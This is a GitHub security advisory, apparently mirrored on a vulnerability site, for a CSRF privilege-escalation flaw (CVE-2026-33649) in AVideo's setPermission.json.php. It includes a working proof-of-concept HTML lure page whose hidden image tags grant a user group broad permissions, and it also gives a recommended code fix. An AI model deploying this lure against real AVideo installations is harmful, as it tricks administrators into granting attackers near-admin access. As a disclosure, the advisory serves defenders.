GHSA-G8X9-7MGH-7CVJ

Vulnerability from github – Published: 2026-03-25 17:48 – Updated: 2026-03-25 17:48
VLAI
Summary
AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification
Details

Summary

The plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookie_samesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.

Details

The root cause is a combination of three issues:

1. $_REQUEST used instead of $_POST (accepts GET parameters):

plugin/Permissions/setPermission.json.php:14-24:

$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_REQUEST[$value]==='true'){
        $_REQUEST[$value] = 1;
    }else{
        $_REQUEST[$value] = intval($_REQUEST[$value]);
    }
}

$obj = new stdClass();
$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);

The only authorization check is User::isAdmin() at line 10 — there is no CSRF token validation via isGlobalTokenValid().

2. Session cookies set to SameSite=None:

objects/include_config.php:134-141:

if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This means the admin's session cookie is sent on cross-origin requests, including those initiated by <img src="..."> tags on attacker-controlled pages.

3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:

The comment at include_config.php:137-138 states: "All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." Other endpoints like saveSort.json.php and pluginImport.json.php enforce isGlobalTokenValid(), but setPermission.json.php does not.

Execution flow: 1. Attacker hosts a page containing <img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true"> 2. Admin visits the page (e.g., via link in forum, email, or embedded content) 3. Browser issues GET request with the admin's SameSite=None session cookie 4. User::isAdmin() passes because the request carries the admin's session 5. Permissions::setPermission() grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2 6. Any user in group 2 (including the attacker) now has full video admin access

The users_groups_id values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.

PoC

Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):

<!DOCTYPE html>
<html>
<head><title>Interesting Video</title></head>
<body>
<h1>Check out this video!</h1>
<!-- Each img tag silently fires a GET request with admin's session cookie -->
<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>
<!-- PERMISSION_USERS (type=20) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>
</body>
</html>

Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)

Step 3: When the admin loads the page, all four <img> tags fire simultaneously.

Expected response for each request (visible in browser dev tools):

{"id":"1"}

Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.

Impact

  • Privilege escalation: A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.
  • No JavaScript required: The attack uses only <img> tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).
  • Zero interaction beyond page load: Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.
  • Chaining: Multiple permissions can be granted simultaneously by embedding multiple <img> tags. An attacker can grant their group all available permission types in a single page load.
  • Blast radius: All users in the targeted group receive the escalated permissions, not just the attacker.

Recommended Fix

In plugin/Permissions/setPermission.json.php, change $_REQUEST to $_POST and add CSRF token validation:

<?php

header('Content-Type: application/json');
if (!isset($global['systemRootPath'])) {
    $configFile = '../../videos/configuration.php';
    if (file_exists($configFile)) {
        require_once $configFile;
    }
}
if(!User::isAdmin()){
    forbiddenPage("Not admin");
}

// Enforce POST method and CSRF token
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(json_encode(array('error' => 'POST method required')));
}
if (!isGlobalTokenValid()) {
    die(json_encode(array('error' => 'Invalid CSRF token')));
}

$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_POST[$value]==='true'){
        $_POST[$value] = 1;
    }else{
        $_POST[$value] = intval($_POST[$value]);
    }
}

$obj = new stdClass();
$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);

die(json_encode($obj));

The AJAX call in getPermissionsFromPlugin.html.php:84-92 already uses type: 'post' but must also send the globalToken parameter in its data payload.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:48:17Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `\u003cimg\u003e` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker\u0027s user group \u2014 escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array(\u0027users_groups_id\u0027,\u0027plugins_id\u0027,\u0027type\u0027,\u0027isEnabled\u0027);\nforeach ($intvalList as $value) {\n    if($_REQUEST[$value]===\u0027true\u0027){\n        $_REQUEST[$value] = 1;\n    }else{\n        $_REQUEST[$value] = intval($_REQUEST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_REQUEST[\u0027users_groups_id\u0027], $_REQUEST[\u0027plugins_id\u0027], $_REQUEST[\u0027type\u0027], $_REQUEST[\u0027isEnabled\u0027]);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 \u2014 there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis means the admin\u0027s session cookie is sent on cross-origin requests, including those initiated by `\u003cimg src=\"...\"\u003e` tags on attacker-controlled pages.\n\n**3. The codebase\u0027s own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `\u003cimg src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=10\u0026isEnabled=true\"\u003e`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin\u0027s `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin\u0027s session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInteresting Video\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eCheck out this video!\u003c/h1\u003e\n\u003c!-- Each img tag silently fires a GET request with admin\u0027s session cookie --\u003e\n\u003c!-- PERMISSION_FULLACCESSVIDEOS (type=10) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=10\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_USERS (type=20) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=20\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=70\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_CAN_LIVESTREAM (type=80) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=80\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `\u003cimg\u003e` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify \u2014 the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `\u003cimg\u003e` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `\u003cimg\u003e` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n\u003c?php\n\nheader(\u0027Content-Type: application/json\u0027);\nif (!isset($global[\u0027systemRootPath\u0027])) {\n    $configFile = \u0027../../videos/configuration.php\u0027;\n    if (file_exists($configFile)) {\n        require_once $configFile;\n    }\n}\nif(!User::isAdmin()){\n    forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {\n    die(json_encode(array(\u0027error\u0027 =\u003e \u0027POST method required\u0027)));\n}\nif (!isGlobalTokenValid()) {\n    die(json_encode(array(\u0027error\u0027 =\u003e \u0027Invalid CSRF token\u0027)));\n}\n\n$intvalList = array(\u0027users_groups_id\u0027,\u0027plugins_id\u0027,\u0027type\u0027,\u0027isEnabled\u0027);\nforeach ($intvalList as $value) {\n    if($_POST[$value]===\u0027true\u0027){\n        $_POST[$value] = 1;\n    }else{\n        $_POST[$value] = intval($_POST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_POST[\u0027users_groups_id\u0027], $_POST[\u0027plugins_id\u0027], $_POST[\u0027type\u0027], $_POST[\u0027isEnabled\u0027]);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: \u0027post\u0027` but must also send the `globalToken` parameter in its data payload.",
  "id": "GHSA-g8x9-7mgh-7cvj",
  "modified": "2026-03-25T17:48:17Z",
  "published": "2026-03-25T17:48:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33649"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…